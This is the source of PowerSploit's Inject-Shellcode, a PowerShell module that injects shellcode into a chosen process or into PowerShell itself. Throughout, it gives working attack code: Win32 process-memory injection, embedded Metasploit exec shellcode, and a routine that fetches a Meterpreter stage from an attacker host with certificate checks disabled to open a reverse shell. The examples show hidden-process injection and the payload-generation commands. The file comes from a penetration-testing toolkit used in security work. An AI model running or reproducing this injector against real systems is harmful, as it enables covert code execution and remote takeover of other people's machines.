function Inject-Shellcode { <# .Synopsis PowerSploit Module - Inject-Shellcode Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause .Description Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally. Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. .Parameter ProcessID Process ID of the process you want to inject shellcode into. .Parameter Remote Indicates that you want to inject into a remote process. .Parameter Local Indicates that you want to inject within PowerShell. .Parameter Meterpreter_Reverse_Http Establish a reverse meterpreter shell over HTTP. Note: This will only work in 32-bit PowerShell. .Parameter Meterpreter_Reverse_Https Establish a reverse meterpreter shell over HTTPS. Note: This will only work in 32-bit PowerShell. .Parameter Lhost Specifies the IP address of the attack machine waiting to receive the reverse shell .Parameter Lport Specifies the port of the attack machine waiting to receive the reverse shell .Example PS> Inject-Shellcode -Remote 4274 Description ----------- Inject shellcode into process ID 4274. .Example PS> Inject-Shellcode -Local Description ----------- Inject shellcode into the running instance of PowerShell. .Example PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden PS> $Proc = Get-Process notepad PS> Inject-Shellcode -Remote -ProcessId $Proc.Id -Meterpreter_Reverse_Https -Lhost 192.168.30.129 -Lport 443 -Verbose VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM VERBOSE: Injecting shellcode into PID: 4004 VERBOSE: Injecting into a Wow64 process. VERBOSE: Using 32-bit shellcode. VERBOSE: Shellcode memory reserved at 0x03BE0000 VERBOSE: Emitting 32-bit assembly call stub. VERBOSE: Thread call stub memory reserved at 0x001B0000 VERBOSE: Shellcode injection complete! Description ----------- Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST 192.168.30.129 yes The local listener hostname LPORT 443 yes The local listener port .Example PS> Inject-Shellcode -Local -Meterpreter_Reverse_Http -Lhost 192.168.30.129 -Lport 80 Description ----------- Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: Payload options (windows/meterpreter/reverse_http): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST 192.168.30.129 yes The local listener hostname LPORT 80 yes The local listener port .Notes Use the '-Verbose' option to print detailed information. Place your generated shellcode in $Shellcode32 and $Shellcode64 variables. .Link My blog: http://www.exploit-monday.com Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ #> [CmdletBinding(DefaultParameterSetName = '1')] Param ( [Parameter(Position = 0)] [String] $ProcessID, [Parameter()] [Switch] $Remote = $false, [Parameter()] [Switch] $Local = $true, [Parameter(Mandatory = $True, ParameterSetName = '2')] [Switch] $Meterpreter_Reverse_Http, [Parameter(Mandatory = $True, ParameterSetName = '3')] [Switch] $Meterpreter_Reverse_Https, [Parameter(Mandatory = $True, ParameterSetName = '2')] [Parameter(Mandatory = $True, ParameterSetName = '3')] [Int] $Lport = 8443, [Parameter(Mandatory = $True, ParameterSetName = '2')] [Parameter(Mandatory = $True, ParameterSetName = '3')] [String] $Lhost = '127.0.0.1', # Defaults to localhost in case a mistake is made [Parameter(ParameterSetName = '2')] [Parameter(ParameterSetName = '3')] [String] $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' ) if ($Remote -and !$ProcessID) { Write-Warning "You must specify a process ID!" return } try { Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null } catch [System.Management.Automation.ActionPreferenceStopException] { Write-Warning "Process does not exist!" return } function Get-DelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters, [Parameter(Position = 1)] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') return $TypeBuilder.CreateType() } function Get-ProcAddress { Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Module, [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) { $IntSizePtr = $Architecture / 8 function ConvertTo-LittleEndian ([IntPtr] $Address) { $LittleEndianByteArray = New-Object Byte[](0) $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } [System.Array]::Reverse($LittleEndianByteArray) return $LittleEndianByteArray } $CallStub = New-Object Byte[](0) if ($IntSizePtr -eq 8) { [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode $CallStub += 0xFF,0xD0 # CALL RAX $CallStub += 0x6A,0x00 # PUSH BYTE 0 $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL RAX } else { [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode $CallStub += 0xFF,0xD0 # CALL EAX $CallStub += 0x6A,0x00 # PUSH BYTE 0 $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL EAX } return $CallStub } function Inject-RemoteShellcode ([Int] $ProcessID) { # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return } $IsWow64 = $false if ($64bitCPU) # Only perform theses checks if CPU is 64-bit { # Determine is the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null if ((!$IsWow64) -and $PowerShell32bit) { Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return } elseif ($IsWow64){ if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return } $Shellcode = $Shellcode32 Write-Verbose 'Injecting into a Wow64 process.' Write-Verbose 'Using 32-bit shellcode.' } else { if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return } Write-Verbose 'Using 64-bit shellcode.' $Shellcode = $Shellcode64 } } else { if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return } $Shellcode = $Shellcode32 } # Reserve and commit enough memory in remote process to hold the shellcode $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return } Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode into the previously allocated memory $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($IsWow64) { # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit assembly call stub.' } else { # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate inline assembly stub $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return } Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" # Write 32-bit assembly stub to remote process memory space $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null # Execute shellcode as a remote thread $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread # Close process handle $CloseHandle.Invoke($hProcess) | Out-Null Write-Verbose 'Shellcode injection complete!' } function Inject-LocalShellcode { if ($PowerShell32bit) { if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return } $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } else { if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return } $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return } Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit shellcode.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit shellcode.' } # Allocate RWX memory for the thread call stub $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return } Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy call stub to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) # Launch shellcode in it's own thread $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) Write-Verbose 'Shellcode injection complete!' } $64bitCPU = $true $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process if ($IsWow64ProcessAddr) { $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) } else { $64bitCPU = $false } if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } if ($Meterpreter_Reverse_Http -or $Meterpreter_Reverse_Https) { if (!$PowerShell32bit) { Write-Warning 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell' return } # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? if ($Meterpreter_Reverse_Https) { $SSL = 's'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } } $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" Write-Verbose "Requesting meterpreter payload from $Request" $Uri = New-Object Uri($Request) $WebClient = New-Object System.Net.WebClient $WebClient.Headers.Add('user-agent', "$UserAgent") try { [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) [Byte[]] $Shellcode64 = $Shellcode32 } catch { Write-Warning "Unable to connect to $Request" return } } else { # Pop a calc... or whatever shellcode you decide to place in here # Insert your shellcode here in the for 0xXX,0xXX,... # 32-bit payload # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 0x61,0x6c,0x63,0x00) # 64-bit payload # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) } if ($Remote) { $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) Write-Verbose "Injecting shellcode into PID: $ProcessId" Inject-RemoteShellcode $ProcessId } else { $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) Write-Verbose "Injecting shellcode into PowerShell" Inject-LocalShellcode } }